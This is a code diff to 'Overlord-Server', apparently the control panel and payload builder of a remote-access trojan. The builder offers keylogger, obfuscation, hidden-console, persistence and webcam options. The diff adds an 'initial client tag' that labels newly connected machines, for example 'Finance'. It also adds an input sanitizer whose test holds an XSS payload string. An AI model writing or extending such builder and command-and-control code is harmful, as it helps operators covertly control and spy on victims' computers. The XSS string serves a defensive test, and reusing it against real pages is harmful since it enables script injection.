diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index 5527c5d..9dae1c7 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -449,6 +449,7 @@ function collectFormSettings() {
solAddress: document.getElementById("sol-address")?.value ?? "",
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
outputName: document.getElementById("output-name")?.value ?? "",
+ initialClientTag: document.getElementById("initial-client-tag")?.value ?? "",
iosBundleId: document.getElementById("ios-bundle-id")?.value ?? "",
mutex: document.getElementById("mutex")?.value ?? "",
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
@@ -515,6 +516,7 @@ function applyFormSettings(settings) {
if (settings.solAddress !== undefined) setVal("sol-address", settings.solAddress);
if (settings.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", settings.solRpcEndpoints);
if (settings.outputName !== undefined) setVal("output-name", settings.outputName);
+ if (settings.initialClientTag !== undefined) setVal("initial-client-tag", settings.initialClientTag);
if (settings.iosBundleId !== undefined) setVal("ios-bundle-id", settings.iosBundleId);
if (settings.mutex !== undefined) setVal("mutex", settings.mutex);
if (settings.disableMutex !== undefined) setCb('input[name="disable-mutex"]', settings.disableMutex);
@@ -1711,6 +1713,7 @@ form?.addEventListener("submit", async (e) => {
const enableKeylogger = form.querySelector('input[name="enable-keylogger"]')?.checked ?? true;
const outputNameVal = form.querySelector("#output-name")?.value.trim() || "";
+ const initialClientTagVal = form.querySelector("#initial-client-tag")?.value.trim() || "";
const garbleLiterals = form.querySelector('input[name="garble-literals"]')?.checked || false;
const garbleTiny = form.querySelector('input[name="garble-tiny"]')?.checked || false;
const garbleSeedVal = form.querySelector("#garble-seed")?.value.trim() || "";
@@ -1747,6 +1750,7 @@ form?.addEventListener("submit", async (e) => {
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
outputName: outputNameVal || undefined,
+ initialClientTag: initialClientTagVal || undefined,
garbleLiterals: obfuscate ? garbleLiterals : undefined,
garbleTiny: obfuscate ? garbleTiny : undefined,
garbleSeed: obfuscate && garbleSeedVal ? garbleSeedVal : undefined,
diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html
index 5fdc30d..4e3ce44 100644
--- a/Overlord-Server/public/build.html
+++ b/Overlord-Server/public/build.html
@@ -405,6 +405,15 @@
+
{
});
describe("build tag DB operations", () => {
+ test("initial client tag sanitizer removes XSS metacharacters", () => {
+ const payload = `

& 'bad' \`tag\` = ok `;
+ expect(sanitizeInitialClientTag(payload)).toBe("img srcx onerroralert(1) bad tag ok");
+ expect(sanitizeInitialClientTag("\u0000 Finance\nTeam \u007f")).toBe("Finance Team");
+ expect(sanitizeInitialClientTag("x".repeat(80))).toHaveLength(64);
+ expect(sanitizeInitialClientTag(" ")).toBeUndefined();
+ expect(sanitizeInitialClientTag({ tag: "nope" })).toBeUndefined();
+ });
+
test("saveBuild stores buildTag and builtByUserId", async () => {
try {
const operator = await createTempUser("operator");
const build = saveTempBuild({
buildTag: "test-tag-abc123",
builtByUserId: operator.id,
+ initialClientTag: "Finance",
});
const retrieved = getBuild(build.id);
expect(retrieved).not.toBeNull();
expect(retrieved!.buildTag).toBe("test-tag-abc123");
expect(retrieved!.builtByUserId).toBe(operator.id);
+ expect(retrieved!.initialClientTag).toBe("Finance");
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
@@ -117,6 +129,7 @@ describe("build tag DB operations", () => {
const build = saveTempBuild({
buildTag: tag,
builtByUserId: operator.id,
+ initialClientTag: "Kiosk Rollout",
});
const all = getAllBuilds();
@@ -124,6 +137,7 @@ describe("build tag DB operations", () => {
expect(found).not.toBeNull();
expect(found!.buildTag).toBe(tag);
expect(found!.builtByUserId).toBe(operator.id);
+ expect(found!.initialClientTag).toBe("Kiosk Rollout");
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
@@ -136,6 +150,7 @@ describe("build tag DB operations", () => {
expect(retrieved).not.toBeNull();
expect(retrieved!.buildTag).toBeUndefined();
expect(retrieved!.builtByUserId).toBeUndefined();
+ expect(retrieved!.initialClientTag).toBeUndefined();
cleanupCreatedBuilds();
});
});
diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts
index 9e8f5eb..b63bf9d 100644
--- a/Overlord-Server/src/db/repositories.ts
+++ b/Overlord-Server/src/db/repositories.ts
@@ -1520,13 +1520,14 @@ export interface BuildRecord {
}>;
buildTag?: string;
builtByUserId?: number;
+ initialClientTag?: string;
blocked?: boolean;
}
export function saveBuild(build: BuildRecord) {
db.run(
- `INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
- VALUES (?, ?, ?, ?, ?, ?, ?)`,
+ `INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id, initial_client_tag)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
build.id,
build.status,
build.startTime,
@@ -1534,6 +1535,7 @@ export function saveBuild(build: BuildRecord) {
JSON.stringify(build.files),
build.buildTag || null,
build.builtByUserId || null,
+ build.initialClientTag || null,
);
}
@@ -1546,6 +1548,7 @@ function mapBuildRow(row: any): BuildRecord {
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
+ initialClientTag: row.initial_client_tag || undefined,
blocked: row.blocked === 1,
};
}
diff --git a/Overlord-Server/src/db/schema.ts b/Overlord-Server/src/db/schema.ts
index cb21348..d94a296 100644
--- a/Overlord-Server/src/db/schema.ts
+++ b/Overlord-Server/src/db/schema.ts
@@ -338,12 +338,14 @@ db.run(`
expires_at INTEGER NOT NULL,
files TEXT NOT NULL,
build_tag TEXT,
- built_by_user_id INTEGER
+ built_by_user_id INTEGER,
+ initial_client_tag TEXT
);
`);
try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {}
try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {}
+try { db.run(`ALTER TABLE builds ADD COLUMN initial_client_tag TEXT`); } catch {}
try { db.run(`ALTER TABLE builds ADD COLUMN blocked INTEGER NOT NULL DEFAULT 0`); } catch {}
db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`);
diff --git a/Overlord-Server/src/server/build-config-sanitize.ts b/Overlord-Server/src/server/build-config-sanitize.ts
new file mode 100644
index 0000000..efd26b4
--- /dev/null
+++ b/Overlord-Server/src/server/build-config-sanitize.ts
@@ -0,0 +1,15 @@
+const HTML_META_CHARS = /[<>"'`=&]/g;
+const CONTROL_CHARS = /[\u0000-\u001f\u007f]/g;
+
+export function sanitizeInitialClientTag(value: unknown): string | undefined {
+ if (typeof value !== "string") return undefined;
+
+ const cleaned = value
+ .replace(CONTROL_CHARS, " ")
+ .replace(HTML_META_CHARS, "")
+ .replace(/\s+/g, " ")
+ .trim()
+ .slice(0, 64);
+
+ return cleaned || undefined;
+}
diff --git a/Overlord-Server/src/server/build-process.ts b/Overlord-Server/src/server/build-process.ts
index 562e6f6..6f9f9d7 100644
--- a/Overlord-Server/src/server/build-process.ts
+++ b/Overlord-Server/src/server/build-process.ts
@@ -94,6 +94,7 @@ type BuildProcessConfig = {
enableWebrtc?: boolean;
enableWinRE?: boolean;
builtByUserId?: number;
+ initialClientTag?: string;
outputName?: string;
garbleLiterals?: boolean;
garbleTiny?: boolean;
@@ -2084,6 +2085,7 @@ func runBoundFiles() {
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
+ initialClientTag: config.initialClientTag,
});
setTimeout(() => {
diff --git a/Overlord-Server/src/server/routes/build-routes.ts b/Overlord-Server/src/server/routes/build-routes.ts
index 02e9cc7..8877378 100644
--- a/Overlord-Server/src/server/routes/build-routes.ts
+++ b/Overlord-Server/src/server/routes/build-routes.ts
@@ -28,6 +28,7 @@ import fs from "fs";
import { resolveRuntimeRoot } from "../runtime-paths";
import { createUploadPull } from "../file-transfer-state";
import { handleBuildProfileRoutes } from "./build-profile-routes";
+import { sanitizeInitialClientTag } from "../build-config-sanitize";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -205,6 +206,7 @@ export async function handleBuildRoutes(
outputSgnTxt,
fetchPublicIP,
uploadToFileShare,
+ initialClientTag,
buildPlugins,
} = body;
@@ -460,6 +462,8 @@ export async function handleBuildRoutes(
);
}
+ const safeInitialClientTag = sanitizeInitialClientTag(initialClientTag);
+
const rateLimitActive = getConfig().registration.mode !== "off";
if (rateLimitActive) recordBuildStart(user.userId);
@@ -481,6 +485,7 @@ export async function handleBuildRoutes(
hideConsole: !!hideConsole,
noPrinting: safeNoPrinting,
builtByUserId: user.userId,
+ initialClientTag: safeInitialClientTag,
outputName: safeOutputName,
garbleLiterals: !!garbleLiterals,
garbleTiny: !!garbleTiny,
diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
index 3c55d16..8d5367d 100644
--- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
+++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts
@@ -9,7 +9,7 @@ async function getGeoip() {
}
import { logAudit, AuditAction } from "../../auditLog";
import * as clientManager from "../../clientManager";
-import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
+import { clientExists, setOnlineState, setOfflineStates, upsertClientRow, getClientEnrollmentStatus, setClientEnrollmentStatus, lookupClientByPublicKey, getClientPublicKeyById, getBuild, getBuildByTag, computeClientSuspiciousFlags, type OfflineStateUpdate } from "../../db";
import { getConfig } from "../../config";
import { logger } from "../../logger";
import { metrics } from "../../metrics";
@@ -467,6 +467,7 @@ export async function handleWebSocketMessage(
let resolvedBuildId: string | null = null;
let builtByUserId: number | undefined;
+ let initialClientTag: string | undefined;
let isRevoked = false;
if (buildTag) {
@@ -474,12 +475,20 @@ export async function handleWebSocketMessage(
if (verified) {
resolvedBuildId = verified.bid;
builtByUserId = verified.uid ?? undefined;
- isRevoked = isBuildBanned(verified.bid);
+ const build = getBuild(verified.bid);
+ if (build) {
+ builtByUserId = build.builtByUserId ?? builtByUserId;
+ initialClientTag = build.initialClientTag;
+ isRevoked = !!build.blocked || isBuildBanned(verified.bid);
+ } else {
+ isRevoked = isBuildBanned(verified.bid);
+ }
} else {
const build = getBuildByTag(buildTag);
if (build) {
resolvedBuildId = build.id;
builtByUserId = build.builtByUserId;
+ initialClientTag = build.initialClientTag;
isRevoked = !!build.blocked || isBuildBanned(build.id);
}
}
@@ -541,6 +550,7 @@ export async function handleWebSocketMessage(
const geo = ip ? geoip.lookup(ip) : undefined;
const countryRaw = geo?.country || (payload as any).country || "ZZ";
const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
+ const initialTagForNewClient = existing || clientExists(resolvedId) ? undefined : initialClientTag;
const _s = (v: unknown, max = 256): string | undefined => {
if (typeof v !== "string") return undefined;
@@ -576,6 +586,7 @@ export async function handleWebSocketMessage(
enrollmentStatus: "pending",
buildTag: buildTag || undefined,
builtByUserId,
+ ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
});
logger.info(`[purgatory] client ${resolvedId} is pending approval`);
@@ -633,7 +644,9 @@ export async function handleWebSocketMessage(
deps.webcamStreamingState.delete(resolvedId);
}
- ws.data.wasKnown = clientExists(resolvedId);
+ const wasKnown = clientExists(resolvedId);
+ ws.data.wasKnown = wasKnown;
+ const initialTagForNewClient = wasKnown ? undefined : initialClientTag;
const infoObj: ClientInfo = {
id: resolvedId,
@@ -646,6 +659,7 @@ export async function handleWebSocketMessage(
publicKey,
keyFingerprint,
enrollmentStatus: "approved" as any,
+ ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
};
clientManager.addClient(resolvedId, infoObj);
@@ -656,6 +670,7 @@ export async function handleWebSocketMessage(
enrollmentStatus: "approved",
buildTag: buildTag || undefined,
builtByUserId,
+ ...(initialTagForNewClient ? { customTag: initialTagForNewClient } : {}),
online: 1 as any,
lastSeen: Date.now(),
});